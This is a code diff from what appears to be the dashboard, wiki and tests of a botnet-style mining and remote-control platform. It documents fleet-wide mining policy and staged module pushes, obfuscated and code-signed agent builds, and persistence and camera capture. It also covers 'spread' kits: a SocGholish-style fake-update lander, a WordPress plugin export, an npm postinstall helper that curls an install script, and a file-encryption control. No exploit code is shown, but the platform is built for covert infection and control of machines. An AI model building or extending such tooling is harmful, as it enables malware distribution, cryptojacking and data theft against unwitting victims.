<li>Task actions: <code>sysinfo</code>, <code>full_sys_check</code>, <code>powershell</code>, <code>exec</code>, <code>pause</code>, <code>resume</code>, <code>restart</code></li>
</ul>
<h3>Fleet policy &amp; staged modules</h3>
<ul>
<li><strong>Fleet Policy</strong><code>PUT /api/v1/fleet/policy</code> pushes <code>mining_mode</code>, schedule, <code>max_cpu_usage_pct</code>, optional pool overrides live</li>
<li><strong>Staged Modules</strong><code>POST /api/v1/fleet/modules/push</code> queues <code>fetch_module</code> for Crucible Ops / Spread / GPU packs</li>
<li>Manifests in <code>data/modules/*.json</code> — HMAC-signed with fleet secret</li>
</ul>
<h3>Tunnels &amp; signing defaults</h3>
<ul>
<li><strong>Cloudflare Tunnel Token</strong> — saved to <code>config.json</code> + <code>data/cloudflared-token.txt</code>; server starts <code>cloudflared tunnel run</code> on launch (<span class="wiki-status windows">Windows server auto-launch</span>; Linux server stub)</li>
<li><strong>tunnel_defaults.cloudflared_target_url</strong> — defaults from <code>server.public_url</code></li>
<li><strong>Forge pipeline</strong> — garble default, Authenticode thumbprint, timestamp URL, signtool path</li>
</ul>
<h3>Users &amp; backup</h3>
<ul>
<li><strong>Users</strong> — bcrypt in <code>data/users.json</code>; <code>POST /api/v1/users</code> adds accounts</li>
<li><strong>Fleet secret rotation</strong><code>POST /api/v1/server/rotate-secret</code> kicks agents; re-forge required</li>
<li><strong>Deck backup</strong><code>GET /api/v1/backup</code> ZIP (config + DB + users)</li>
<li><strong>Operator audit</strong><code>GET /api/v1/audit</code> (last 50 actions)</li>
</ul>
<p>Inline field help in the UI mirrors these settings — see HelpTip icons on Forge and Calibrate forms.</p>
</section>
<!-- 8c. Path Tracer -->
<section id="path-tracer">
<h2>Path Tracer</h2>
<p>
Route <code>/pathtracer</code> — multi-hop WireGuard chain builder for reaching agents through intermediate
fleet nodes. Sessions auto-expire after <strong>2 hours</strong> with background <code>wg_teardown</code>.
</p>
<h3>Workflow</h3>
<ol>
<li>Select online fleet agents as hops (entry → middle → exit)</li>
<li><code>POST /api/v1/pathtrace/start</code> — server orchestrates <code>wg_setup</code> / <code>wg_configure</code> on each hop</li>
<li>Poll <code>GET /api/v1/pathtrace/{id}/status</code> until <code>ready</code></li>
<li>Download QR or <code>.conf</code> via <code>GET /api/v1/pathtrace/{id}/qr</code> — import into WireGuard app</li>
<li><code>DELETE /api/v1/pathtrace/{id}</code> tears down session</li>
</ol>
<h3>Topology (fixed 2026-06-04)</h3>
<ul>
<li>Hop 1 receives client peer <code>10.66.0.1/32</code></li>
<li>Single-hop chains no longer get empty peer lists</li>
<li>Multi-hop adds reverse peers on middle and exit hops</li>
<li>Hop names resolve from fleet DB <code>AgentName</code> (fallback <code>hop-N</code>)</li>
</ul>
<h3>Platform notes</h3>
<table class="wiki-table">
<thead><tr><th>Component</th><th>Status</th></tr></thead>
<tbody>
<tr><td>Windows agent <code>wg_setup</code></td><td><span class="wiki-status working">Working</span> — may auto-download WireGuard on first use</td></tr>
<tr><td>Linux/macOS agent <code>wg_setup</code></td><td><span class="wiki-status stub">Stub</span> — returns error; pre-install WireGuard manually</td></tr>
<tr><td>Server orchestration API</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Dashboard Path Tracer page</td><td><span class="wiki-status working">Working</span></td></tr>
</tbody>
</table>
<p>Pair with <code>tunnel_wireguard</code> agent command for per-node tunnels outside Path Tracer sessions.</p>
</section>
<!-- 9. Security & Auth -->
<section id="security-auth">
<h2>Security &amp; Auth</h2>
@@ -730,6 +1170,30 @@ go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
<tr><td>POST</td><td><code>/api/v1/builder/wordpress-plugin-export</code></td><td>ZIP WordPress plugin for owned-site upload</td></tr>
<tr><td>POST</td><td><code>/api/v1/builder/npm-helper-export</code></td><td>ZIP npm postinstall helper package template</td></tr>
<tr><td>WS</td><td><code>/ws/agent</code></td><td>Worker connection</td></tr>
<tr><td>GET</td><td><code>/api/v1/shares</code></td><td>Recent share feed</td></tr>
<tr><td>GET</td><td><code>/api/v1/dashboard/stats</code></td><td>Aggregate dashboard stats</td></tr>
<tr><td>GET</td><td><code>/api/v1/server/info</code></td><td>LAN IPs, suggested URL</td></tr>
<tr><td>GET</td><td><code>/api/v1/server/ready</code></td><td>Readiness probe</td></tr>
<tr><td>GET</td><td><code>/api/v1/ai/activity</code></td><td>AI decision log</td></tr>
<tr><td>GET</td><td><code>/api/v1/fleet/modules</code></td><td>List staged module manifests</td></tr>
<tr><td>PUT</td><td><code>/api/v1/fleet/policy</code></td><td>Push runtime mining policy</td></tr>
<tr><td>POST</td><td><code>/api/v1/fleet/modules/push</code></td><td>Queue <code>fetch_module</code></td></tr>
<tr><td>GET</td><td><code>/api/v1/agents/{id}/log</code></td><td>Agent log (90s long-poll with <code>refresh=1</code>)</td></tr>
<tr><td>PUT</td><td><code>/api/v1/agents/{id}/meta</code></td><td>Notes / tags</td></tr>
<tr><td>DELETE</td><td><code>/api/v1/agents/{id}</code></td><td>Remove agent from fleet DB</td></tr>
<tr><td>POST</td><td><code>/api/v1/builder/estimate</code></td><td>Pre-forge size/time estimate</td></tr>
<tr><td>POST</td><td><code>/api/v1/builder/path-forge</code></td><td>Batch launcher placement</td></tr>
<tr><td>GET/POST/DELETE</td><td><code>/api/v1/blueprints</code></td><td>Forge blueprint CRUD</td></tr>
<tr><td>GET/PUT</td><td><code>/api/v1/emberwake/notes</code></td><td>Shared operator notes</td></tr>
<tr><td>POST</td><td><code>/api/v1/pathtrace/start</code></td><td>Start WireGuard chain session</td></tr>
<tr><td>GET</td><td><code>/api/v1/pathtrace/{id}/status</code></td><td>Path Tracer session status</td></tr>
<tr><td>GET</td><td><code>/api/v1/pathtrace/{id}/qr</code></td><td>WireGuard QR + conf</td></tr>
<tr><td>DELETE</td><td><code>/api/v1/pathtrace/{id}</code></td><td>Teardown session</td></tr>
<tr><td>POST</td><td><code>/api/v1/server/rotate-secret</code></td><td>Rotate fleet secret</td></tr>
<tr><td>POST</td><td><code>/api/v1/users</code></td><td>Add dashboard user</td></tr>
<tr><td>GET</td><td><code>/api/v1/backup</code></td><td>Full deck backup ZIP</td></tr>
<tr><td>POST</td><td><code>/api/v1/agent/beacon</code></td><td>HTTPS beacon (fleet secret header)</td></tr>
<tr><td>GET</td><td><code>/api/download/agent-{windows,linux,mac}</code></td><td>Agent binaries for Seek / PathForge</td></tr>
<tr><td>WS</td><td><code>/ws/dashboard?ticket=…</code></td><td>Live dashboard feed</td></tr>
</tbody>
</table>
@@ -834,13 +1298,19 @@ test.bat # full suite</code></pre>
<h3>Spread / Emberwake gaps</h3>
<ul>
<li><code>spread-kit-web-publisher/</code> static templates — API export exists; branded HTML kits in progress</li>
<li>No built-in OAuth redirect helper or package-registry publish pipeline</li>
<li>No built-in OAuth redirect helper or public npm/PyPI publish pipeline</li>
<li>No JS fingerprint / TDS bot gate on spread landers</li>
<li>SocGholish-style fake-update HTML kit — operator supplies custom branding</li>
</ul>
<h3>Server (low)</h3>
<h3>Server / agent (open)</h3>
<ul>
<li><code>db.New</code> ignores <code>MkdirAll</code> failure</li>
<li><code>tunnel_stream</code> TCP reverse relay — not implemented</li>
<li>Server <code>cloudflared</code> auto-launch — Windows only; Linux server needs manual tunnel</li>
<li><code>bof_execute</code> — permanently disabled</li>
<li>Mesh P2P — default build stub; re-forge with <code>-tags p2p</code></li>
<li>Linux/macOS GPU RVN — broken (Windows miner binaries)</li>
<li><code>server/webroot</code> not auto-synced on <code>npm run build</code> — run <code>devrun.bat</code></li>
</ul>
<p>See <code>PROBLEMS.md</code> for the full fixed/open tables with issue IDs (B-01B-13, API-D01D10, etc.).</p>

View File

@@ -0,0 +1,58 @@
(function () {
const tabButtons = document.querySelectorAll('[data-spread-tab]');
const panels = document.querySelectorAll('[data-spread-panel]');
function activateTab(tabId, pushHash) {
tabButtons.forEach((btn) => {
const active = btn.getAttribute('data-spread-tab') === tabId;
btn.classList.toggle('active', active);
btn.setAttribute('aria-selected', active ? 'true' : 'false');
});
panels.forEach((panel) => {
const show = panel.getAttribute('data-spread-panel') === tabId;
panel.hidden = !show;
panel.classList.toggle('active', show);
});
if (pushHash !== false) {
history.replaceState(null, '', '#' + tabId);
}
const sub = document.getElementById(window.location.hash.slice(1));
if (sub && sub.closest('[data-spread-panel="' + tabId + '"]')) {
window.setTimeout(() => sub.scrollIntoView({ behavior: 'smooth', block: 'start' }), 60);
}
}
tabButtons.forEach((btn) => {
btn.addEventListener('click', () => activateTab(btn.getAttribute('data-spread-tab')));
});
document.querySelectorAll('.wiki-nav a[href^="#"]').forEach((link) => {
link.addEventListener('click', (e) => {
e.preventDefault();
const id = link.getAttribute('href').slice(1);
const panel = document.querySelector('[data-spread-panel="' + id + '"]');
if (panel) {
activateTab(id);
} else {
const el = document.getElementById(id);
const tabId = el?.closest('[data-spread-panel]')?.getAttribute('data-spread-panel');
if (tabId) activateTab(tabId);
if (el) window.setTimeout(() => el.scrollIntoView({ behavior: 'smooth', block: 'start' }), 80);
}
});
});
const hash = window.location.hash.slice(1);
const tabFromHash =
hash && document.querySelector('[data-spread-panel="' + hash + '"]')
? hash
: hash && document.getElementById(hash)
? document.getElementById(hash).closest('[data-spread-panel]')?.getAttribute('data-spread-panel')
: null;
activateTab(tabFromHash || 'overview', false);
if (hash && document.getElementById(hash)) {
window.setTimeout(() => document.getElementById(hash).scrollIntoView({ behavior: 'smooth', block: 'start' }), 120);
}
})();

View File

@@ -411,6 +411,109 @@ mark.wiki-search-highlight {
line-height: 180px;
}
/* Feature status badges (Working / Stub / Disabled) */
.wiki-status {
display: inline-block;
font-family: var(--font-tech);
font-size: 0.72rem;
font-weight: 600;
letter-spacing: 0.04em;
text-transform: uppercase;
padding: 0.12rem 0.45rem;
border-radius: 3px;
border: 1px solid transparent;
white-space: nowrap;
}
.wiki-status.working {
color: var(--neon-green);
border-color: rgba(46, 232, 16, 0.35);
background: rgba(46, 232, 16, 0.08);
}
.wiki-status.partial {
color: var(--neon-amber);
border-color: rgba(232, 152, 48, 0.35);
background: rgba(232, 152, 48, 0.08);
}
.wiki-status.windows {
color: var(--neon-cyan);
border-color: rgba(0, 232, 245, 0.3);
background: rgba(0, 232, 245, 0.06);
}
.wiki-status.stub,
.wiki-status.disabled {
color: var(--text-muted);
border-color: rgba(94, 88, 104, 0.5);
background: rgba(94, 88, 104, 0.12);
}
/* Spread techniques tabbed playbook */
.spread-tab-bar {
display: flex;
flex-wrap: wrap;
gap: 0.35rem;
margin: 0 0 1.25rem;
padding-bottom: 0.75rem;
border-bottom: 1px solid var(--border-brass);
}
.spread-tab {
font-family: var(--font-tech);
font-size: 0.72rem;
letter-spacing: 0.04em;
text-transform: uppercase;
padding: 0.4rem 0.7rem;
border: 1px solid var(--border-brass);
border-radius: 4px;
background: var(--bg-panel);
color: var(--text-secondary);
cursor: pointer;
transition: border-color 0.15s, color 0.15s, box-shadow 0.15s;
}
.spread-tab:hover {
color: var(--neon-cyan);
border-color: var(--border-neon);
}
.spread-tab.active {
color: var(--neon-cyan);
border-color: var(--neon-cyan);
box-shadow: 0 0 12px rgba(0, 232, 245, 0.15);
}
.spread-panel[hidden] {
display: none !important;
}
.spread-panel h3 {
margin-top: 0;
}
.spread-steps {
margin: 0 0 1rem;
padding-left: 1.25rem;
}
.spread-steps li {
margin-bottom: 0.45rem;
}
.spread-deck-link {
display: inline-block;
margin-top: 0.5rem;
font-family: var(--font-tech);
font-size: 0.82rem;
color: var(--neon-amber);
}
.spread-deck-link:hover {
color: var(--neon-cyan);
}
@media (max-width: 768px) {
.wiki-sidebar {
position: relative;

View File

@@ -16,7 +16,7 @@
<a href="#campaigns">Campaigns</a>
<a href="#cms">CMS upload</a>
<a href="#plugins">Plugins</a>
<a href="/docs/SPREAD_TECHNIQUES.md">Docs wiki</a>
<a href="/docs/SPREAD_TECHNIQUES.html">Spread playbook</a>
</div>
</nav>
@@ -169,7 +169,8 @@
<p>
<span class="tag">Tip</span>
See <a href="campaigns/README.md">campaigns/README.md</a> in the kit ZIP for rotation playbooks.
Full matrix: <a href="/docs/SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a>.
Operator playbook: <a href="/docs/SPREAD_TECHNIQUES.html">Spread Techniques</a>
· research matrix: <a href="/docs/SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a>.
</p>
</section>
@@ -230,7 +231,7 @@
<p>
Registry compromise (npm/PyPI typosquat) is out of scope — this kit is for assets and update channels
<em>you</em> operate. See
<a href="/docs/SPREAD_TECHNIQUES.md#third-party-platforms">third-party platforms</a> in the docs wiki for risk notes.
<a href="/docs/SPREAD_TECHNIQUES.html#third-party">third-party platforms</a> in the spread playbook for risk notes.
</p>
</section>

View File

@@ -123,9 +123,18 @@ export default function GlowParticles({ weather = DEFAULT_PAGE_WEATHER }: GlowPa
resize();
window.addEventListener('resize', resize);
const tick = () => {
if (document.hidden) {
let paused = document.visibilityState === 'hidden';
const onVis = () => {
paused = document.visibilityState === 'hidden';
if (!paused && !rafRef.current) {
rafRef.current = requestAnimationFrame(tick);
}
};
document.addEventListener('visibilitychange', onVis);
const tick = () => {
if (paused) {
rafRef.current = 0;
return;
}
@@ -182,6 +191,7 @@ export default function GlowParticles({ weather = DEFAULT_PAGE_WEATHER }: GlowPa
rafRef.current = requestAnimationFrame(tick);
return () => {
document.removeEventListener('visibilitychange', onVis);
window.removeEventListener('resize', resize);
cancelAnimationFrame(rafRef.current);
};

View File

@@ -1,3 +1,4 @@
import { memo } from 'react';
import {
Area,
AreaChart,
@@ -32,17 +33,17 @@ interface HashrateChartProps {
const GRAD_IDS = ['cyan', 'magenta', 'amber', 'green', 'purple'] as const;
function colorToId(color: string): string {
if (color.includes('f5ff') || color.includes('06b6d4') || color === '#00f5ff') return 'cyan';
if (color.includes('f5ff') || color.includes('06b6d4') || color === '#00f5ff' || color.includes('neon-cyan')) return 'cyan';
if (color.includes('2da6') || color.includes('8b5cf6')) return 'magenta';
if (color.includes('b020') || color.includes('eab308')) return 'amber';
if (color.includes('39ff') || color.includes('22c55e')) return 'green';
return 'purple';
}
export default function HashrateChart({
function HashrateChart({
data,
title,
color = '#00f5ff',
color = 'var(--neon-cyan)',
unit = 'H/s',
height = 280,
displayMode = 'live',
@@ -187,3 +188,5 @@ function formatFull(v: number, unit: string): string {
}
return `${v.toFixed(1)}${unit}`;
}
export default memo(HashrateChart);

View File

@@ -177,15 +177,13 @@ export default function SupplyChainExportWizard({
return (
<>
<div className="spread-section spread-section--violet supply-chain-wizard operator-deck-card operator-interactive">
<div className="supply-chain-wizard">
<div className="supply-chain-wizard-header">
<h3>Supply-chain export wizard</h3>
<p className="form-hint" style={{ margin: 0 }}>
WordPress plugin ZIP (<code>/get?c=wp-{'{site}'}</code>) or npm helper (postinstall curls{' '}
<code>install.sh</code>).{' '}
<a href={wikiUrl} target="_blank" rel="noreferrer">
Wiki playbook §
{family === 'wordpress' ? 'WordPress playbook' : 'npm helper playbook'}
</a>
{' '}for hosting steps after export.
</p>
</div>
@@ -228,7 +226,7 @@ export default function SupplyChainExportWizard({
<div className="supply-chain-step-panel">
{step === 'pick-build' && (
<>
<p className="form-hint">Choose the pinned build embedded in the export artifact.</p>
<p className="form-hint">Uses Build A from campaign setup above unless you change it here.</p>
<div className="form-group">
<label className="label" htmlFor="sc-build">Build (pin)</label>
<select
@@ -257,6 +255,7 @@ export default function SupplyChainExportWizard({
{step === 'configure' && (
<>
<p className="form-hint">Synced with campaign setup edit here or above.</p>
<div className="form-group">
<label className="label" htmlFor="sc-server">Command deck URL</label>
<input
@@ -343,7 +342,7 @@ export default function SupplyChainExportWizard({
: 'Export npm package template ZIP'}
</button>
<a className="btn btn-outline btn-sm" href={wikiUrl} target="_blank" rel="noreferrer">
Read wiki §
Read playbook
</a>
</div>
</>

View File

@@ -33,7 +33,7 @@
border-radius: 50%;
}
.agent-glow { background: #00e5ff; box-shadow: 0 0 10px #00e5ff, 0 0 20px #00e5ff; }
.agent-glow { background: var(--neon-cyan); box-shadow: 0 0 10px var(--neon-cyan), 0 0 20px var(--neon-cyan); }
.fleet-glow { background: #ff00ff; box-shadow: 0 0 10px #ff00ff, 0 0 20px #ff00ff; }
.tactical-grid {
@@ -82,7 +82,7 @@
box-shadow: 0 0 10px rgba(187, 134, 252, 0.2);
}
.button-grid button.btn-cyan { border-color: rgba(0, 229, 255, 0.3); color: #00e5ff; }
.button-grid button.btn-cyan { border-color: rgba(0, 229, 255, 0.3); color: var(--neon-cyan); }
.button-grid button.btn-cyan:hover { background: rgba(0, 229, 255, 0.1); box-shadow: 0 0 15px rgba(0, 229, 255, 0.4); }
.button-grid button.btn-amber { border-color: rgba(255, 171, 0, 0.3); color: #ffab00; }
@@ -100,7 +100,7 @@
.screenshot-viewer {
margin-bottom: 20px;
border: 1px solid #00e5ff;
border: 1px solid var(--neon-cyan);
border-radius: 6px;
overflow: hidden;
box-shadow: 0 0 20px rgba(0, 229, 255, 0.2);
@@ -113,7 +113,7 @@
justify-content: space-between;
align-items: center;
font-weight: bold;
color: #00e5ff;
color: var(--neon-cyan);
}
.viewer-header button {
@@ -181,7 +181,7 @@
border-bottom: 1px solid rgba(0,229,255,0.15);
flex-shrink: 0;
}
.terminal-title { font-size: 0.7rem; color: #00e5ff; letter-spacing: 0.06em; font-weight: bold; }
.terminal-title { font-size: 0.7rem; color: var(--neon-cyan); letter-spacing: 0.06em; font-weight: bold; }
.terminal-clear-btn { background: none; border: 1px solid #333; color: #555; font-size: 0.65rem; padding: 2px 8px; border-radius: 3px; cursor: pointer; }
.terminal-clear-btn:hover { border-color: #888; color: #ccc; }
@@ -196,7 +196,7 @@
.terminal-input-bar .prompt { color: #ff00ff; padding: 10px; font-weight: bold; }
.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; }
.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; }
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
.terminal-input-bar button:hover { background: var(--neon-cyan); color: #000; }
.terminal-input-bar button:disabled { opacity: 0.4; cursor: not-allowed; }
/* Upgrade section */
@@ -250,10 +250,10 @@
background: rgba(255,171,0,0.2);
border: 1px solid rgba(255,171,0,0.4);
border-radius: 4px;
color: #ffcc44;
color: var(--neon-amber);
animation: pulse-amber 1.2s ease-in-out infinite;
}
.offline-dot { background: #555; box-shadow: 0 0 6px #555; }
.offline-dot { background: var(--text-muted); box-shadow: 0 0 6px var(--text-muted); }
@keyframes pulse-amber {
0%, 100% { opacity: 1; }
@@ -268,7 +268,7 @@
border-radius: 4px;
border: 1px solid rgba(0,229,255,0.3);
background: rgba(0,229,255,0.06);
color: #00e5ff;
color: var(--neon-cyan);
cursor: pointer;
transition: all 0.2s;
text-align: left;
@@ -292,7 +292,7 @@
font-family: 'Consolas', monospace;
outline: none;
}
.wol-mac-input:focus { border-color: #00e5ff; }
.wol-mac-input:focus { border-color: var(--neon-cyan); }
.wol-form button { white-space: nowrap; padding: 6px 14px; font-size: 0.8rem; }
/* Compact mode extras */

View File

@@ -0,0 +1,36 @@
import { useState, type ReactNode } from 'react';
import { HelpTip } from '../HelpTip';
interface Props {
label: string;
className: string;
defaultOpen?: boolean;
helpField?: string;
children: ReactNode;
}
/** Steampunk accordion row for dense Crucible op groups. */
export default function CrucibleCollapsibleSection({
label,
className,
defaultOpen = false,
helpField,
children,
}: Props) {
const [open, setOpen] = useState(defaultOpen);
return (
<div className={`crucible-op-group ${className} crucible-op-collapsible`}>
<div className="cop-toggle-row">
<button type="button" className="cop-toggle" onClick={() => setOpen((v) => !v)}>
<span className="cop-label">{label}</span>
<span className="cop-chevron" aria-hidden>
{open ? '▲' : '▼'}
</span>
</button>
{helpField ? <HelpTip field={helpField} /> : null}
</div>
{open ? <div className="cop-body">{children}</div> : null}
</div>
);
}

View File

@@ -0,0 +1,225 @@
/**
* @vitest-environment happy-dom
*/
import { type ComponentProps } from 'react';
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import CrucibleExpandedOps from './CrucibleExpandedOps';
import { api } from '../../api/client';
import { mockAgent } from '../../test/fixtures';
vi.mock('../../api/client', () => ({
api: {
listBuilds: vi.fn(),
sendAgentCommand: vi.fn(),
sendWOL: vi.fn(),
sendBulkCommand: vi.fn(),
},
}));
vi.mock('./CruciblePortForwardMatrix', () => ({
default: () => <div data-testid="port-forward-matrix" />,
}));
vi.mock('./ProtocolTunnelPanel', () => ({
default: () => <div data-testid="protocol-tunnel-panel" />,
}));
vi.mock('./FileManager', () => ({
default: () => <div data-testid="file-manager" />,
}));
const listBuildsMock = vi.mocked(api.listBuilds);
const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
const sendWOLMock = vi.mocked(api.sendWOL);
const sendBulkCommandMock = vi.mocked(api.sendBulkCommand);
const fullCaps = {
hole_punch: true,
remote_aggressive: true,
mesh_p2p: true,
auto_spread: true,
process_hollowing: false,
ai_enabled: false,
};
const onlineWin = mockAgent({
id: 'win-1',
name: 'WinNode',
status: 'online',
platform: 'windows',
mac_address: 'AA:BB:CC:DD:EE:FF',
capabilities: fullCaps,
});
function defaultProps(overrides: Partial<ComponentProps<typeof CrucibleExpandedOps>> = {}) {
return {
activeTab: 'ops' as const,
selectedAgents: [onlineWin],
selectedCount: 1,
singleSelectedAgent: onlineWin,
allAgents: [onlineWin],
commandResults: [],
onEcho: vi.fn(),
onAgentError: vi.fn(),
onScanSelected: vi.fn(),
onProbePosture: vi.fn(),
onProbeSSH: vi.fn(),
onWakeSSH: vi.fn(),
onShellDispatch: vi.fn(),
browseAgent: onlineWin,
encryptTargets: [{ id: 'win-1', name: 'WinNode' }],
fmCommandResults: [],
tunnelStatusMsg: '',
onDispatchTunnel: vi.fn(),
...overrides,
};
}
describe('CrucibleExpandedOps', () => {
beforeEach(() => {
vi.resetAllMocks();
listBuildsMock.mockResolvedValue([
{
id: 'build-1',
file_name: 'worker.exe',
download_url: 'http://127.0.0.1:8080/api/download/agent-build-1',
platform: 'windows',
},
]);
sendAgentCommandMock.mockResolvedValue({ success: true });
sendBulkCommandMock.mockResolvedValue({ sent: 1, failed: 0 });
sendWOLMock.mockResolvedValue({ success: true, mac: 'AA:BB:CC:DD:EE:FF' });
});
afterEach(() => {
cleanup();
vi.unstubAllGlobals();
});
it('renders ops tab section headers', () => {
render(<CrucibleExpandedOps {...defaultProps()} />);
expect(screen.getByText('Mining')).toBeInTheDocument();
expect(screen.getByText('Agent Control')).toBeInTheDocument();
expect(screen.getByText('Persistence')).toBeInTheDocument();
});
it('disables persistence audit when no online targets', () => {
render(
<CrucibleExpandedOps
{...defaultProps({
selectedAgents: [mockAgent({ id: 'off-1', status: 'offline' })],
selectedCount: 1,
singleSelectedAgent: mockAgent({ id: 'off-1', status: 'offline' }),
})}
/>
);
expect(screen.getByRole('button', { name: 'Persistence Audit' })).toBeDisabled();
});
it('dispatches persistence audit to online agents', async () => {
const user = userEvent.setup();
const onEcho = vi.fn();
render(<CrucibleExpandedOps {...defaultProps({ onEcho })} />);
await user.click(screen.getByRole('button', { name: 'Persistence Audit' }));
await waitFor(() => {
expect(sendAgentCommandMock).toHaveBeenCalledWith('win-1', 'persistence_audit', {});
});
expect(onEcho).toHaveBeenCalledWith('persistence_audit → 1 node(s)', true);
});
it('sends wake-on-lan for selected agents', async () => {
const user = userEvent.setup();
const onEcho = vi.fn();
render(<CrucibleExpandedOps {...defaultProps({ onEcho })} />);
await user.click(screen.getByRole('button', { name: 'Wake-on-LAN' }));
await waitFor(() => {
expect(sendWOLMock).toHaveBeenCalledWith('win-1', 'AA:BB:CC:DD:EE:FF');
});
expect(onEcho).toHaveBeenCalledWith(expect.stringContaining('WOL → WinNode'), true);
});
it('parses camera_list results into device picker on recon tab', async () => {
const user = userEvent.setup();
const { rerender } = render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'recon' })} />);
await user.click(screen.getByRole('button', { name: /Media & Desktop Capture/i }));
rerender(
<CrucibleExpandedOps
{...defaultProps({
activeTab: 'recon',
commandResults: [
{
agent_id: 'win-1',
action: 'camera_list',
success: true,
message: '"USB WebCam"\n/dev/video0',
},
],
})}
/>
);
await waitFor(() => {
expect(screen.getByDisplayValue('"USB WebCam"')).toBeInTheDocument();
});
});
it('dispatches ARP neighbors from recon tab', async () => {
const user = userEvent.setup();
const onEcho = vi.fn();
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'recon', onEcho })} />);
await user.click(screen.getByRole('button', { name: /Network & Firewall Posture/i }));
await user.click(screen.getByRole('button', { name: 'ARP Neighbors' }));
await waitFor(() => {
expect(sendAgentCommandMock).toHaveBeenCalledWith('win-1', 'arp_neighbors', {});
});
expect(onEcho).toHaveBeenCalledWith('arp_neighbors → 1 node(s)', true);
});
it('shows spread_now on spread tab', () => {
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'spread' })} />);
expect(screen.getByRole('button', { name: 'Spread Now' })).toBeInTheDocument();
expect(screen.getByRole('button', { name: /SUPP Seek Mode/i })).toBeInTheDocument();
});
it('shows SSH probe controls on tunnels tab', async () => {
const user = userEvent.setup();
const onProbeSSH = vi.fn();
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'tunnels', onProbeSSH })} />);
await user.click(screen.getByRole('button', { name: 'Probe SSH' }));
expect(onProbeSSH).toHaveBeenCalled();
expect(screen.getByTestId('protocol-tunnel-panel')).toBeInTheDocument();
expect(screen.getByText('Port-Forward Matrix')).toBeInTheDocument();
});
it('renders file manager only on files tab', () => {
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'files' })} />);
expect(screen.getByTestId('file-manager')).toBeInTheDocument();
expect(screen.getByRole('button', { name: /Remote File Browser/i })).toBeInTheDocument();
});
it('requires build selection before push upgrade', async () => {
const user = userEvent.setup();
render(<CrucibleExpandedOps {...defaultProps()} />);
const pushBtn = screen.getByRole('button', { name: 'Push Upgrade' });
expect(pushBtn).toBeDisabled();
await waitFor(() => {
expect(screen.getByRole('option', { name: /worker\.exe/ })).toBeInTheDocument();
});
await user.selectOptions(screen.getByRole('combobox'), 'build-1');
expect(pushBtn).not.toBeDisabled();
});
});

File diff suppressed because it is too large Load Diff

View File

@@ -1,118 +1,339 @@
.file-manager {
border: 1px solid var(--clr-border, #333);
border-radius: 4px;
border: 1px solid var(--border-brass);
border-radius: 6px;
padding: 0.75rem;
background: rgba(0, 0, 0, 0.25);
background: linear-gradient(165deg, rgba(22, 18, 14, 0.92), rgba(8, 6, 4, 0.96));
font-size: 0.85rem;
box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.04);
}
.fm-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 0.5rem;
}
.fm-title {
font-family: var(--font-tech);
font-size: 0.7rem;
letter-spacing: 0.06em;
color: var(--clr-dim);
letter-spacing: 0.08em;
text-transform: uppercase;
color: var(--text-muted);
}
.fm-breadcrumb {
margin-bottom: 0.5rem;
flex-wrap: wrap;
}
.fm-crumb {
background: none;
border: none;
color: var(--neon-cyan, #0ff);
color: var(--neon-cyan);
cursor: pointer;
font-size: 0.75rem;
padding: 0;
transition: color 0.2s ease, text-shadow 0.2s ease;
}
.fm-crumb:hover {
color: var(--brass-light);
text-shadow: 0 0 8px rgba(0, 232, 245, 0.35);
}
.fm-crumb:focus-visible {
outline: 2px solid var(--neon-cyan);
outline-offset: 2px;
}
.fm-sep {
opacity: 0.5;
margin: 0 0.15rem;
}
.fm-filter {
width: 100%;
margin-bottom: 0.5rem;
font-size: 0.8rem;
}
.fm-list {
list-style: none;
margin: 0;
padding: 0;
max-height: 220px;
overflow-y: auto;
border: 1px solid #222;
border: 1px solid rgba(140, 120, 60, 0.2);
border-radius: 4px;
}
.fm-list li.selected {
background: rgba(0, 255, 255, 0.08);
background: rgba(0, 232, 245, 0.08);
}
.fm-row {
display: flex;
align-items: center;
gap: 0.4rem;
width: 100%;
padding: 0.25rem 0.4rem;
background: none;
border: none;
color: inherit;
text-align: left;
cursor: pointer;
transition: background 0.15s ease;
}
.fm-row:hover {
background: rgba(0, 232, 245, 0.04);
}
.fm-name {
flex: 1;
background: none;
border: none;
color: inherit;
text-align: left;
cursor: pointer;
}
.fm-size {
font-size: 0.7rem;
color: var(--clr-dim);
color: var(--text-muted);
}
.fm-actions {
display: flex;
flex-wrap: wrap;
gap: 0.4rem;
margin-top: 0.5rem;
align-items: center;
}
.fm-upload-path {
flex: 1;
min-width: 120px;
font-size: 0.75rem;
}
.fm-preview {
margin-top: 0.5rem;
max-height: 120px;
overflow: auto;
font-size: 0.7rem;
background: #111;
background: rgba(6, 6, 12, 0.92);
padding: 0.4rem;
border: 1px solid rgba(140, 120, 60, 0.15);
border-radius: 4px;
}
.fm-err {
color: #f66;
color: var(--error-color);
font-size: 0.8rem;
}
.fm-offline {
color: var(--clr-dim);
color: var(--text-muted);
font-size: 0.8rem;
}
.fm-path {
font-size: 0.72rem;
color: var(--neon-cyan);
margin-bottom: 0.35rem;
word-break: break-all;
}
.fm-upload-wrap {
display: inline-flex;
align-items: center;
gap: 0.15rem;
}
.fm-encrypt-section {
display: flex;
align-items: center;
gap: 0.5rem;
width: 100%;
margin-top: 0.4rem;
border-top: 1px solid rgba(140, 120, 60, 0.2);
padding-top: 0.4rem;
}
.fm-recursive-label {
display: flex;
align-items: center;
gap: 0.25rem;
font-size: 0.75rem;
cursor: pointer;
color: var(--text-secondary);
}
.fm-encrypt-btn {
background: linear-gradient(135deg, rgba(123, 0, 0, 0.95) 0%, rgba(204, 0, 0, 0.9) 100%);
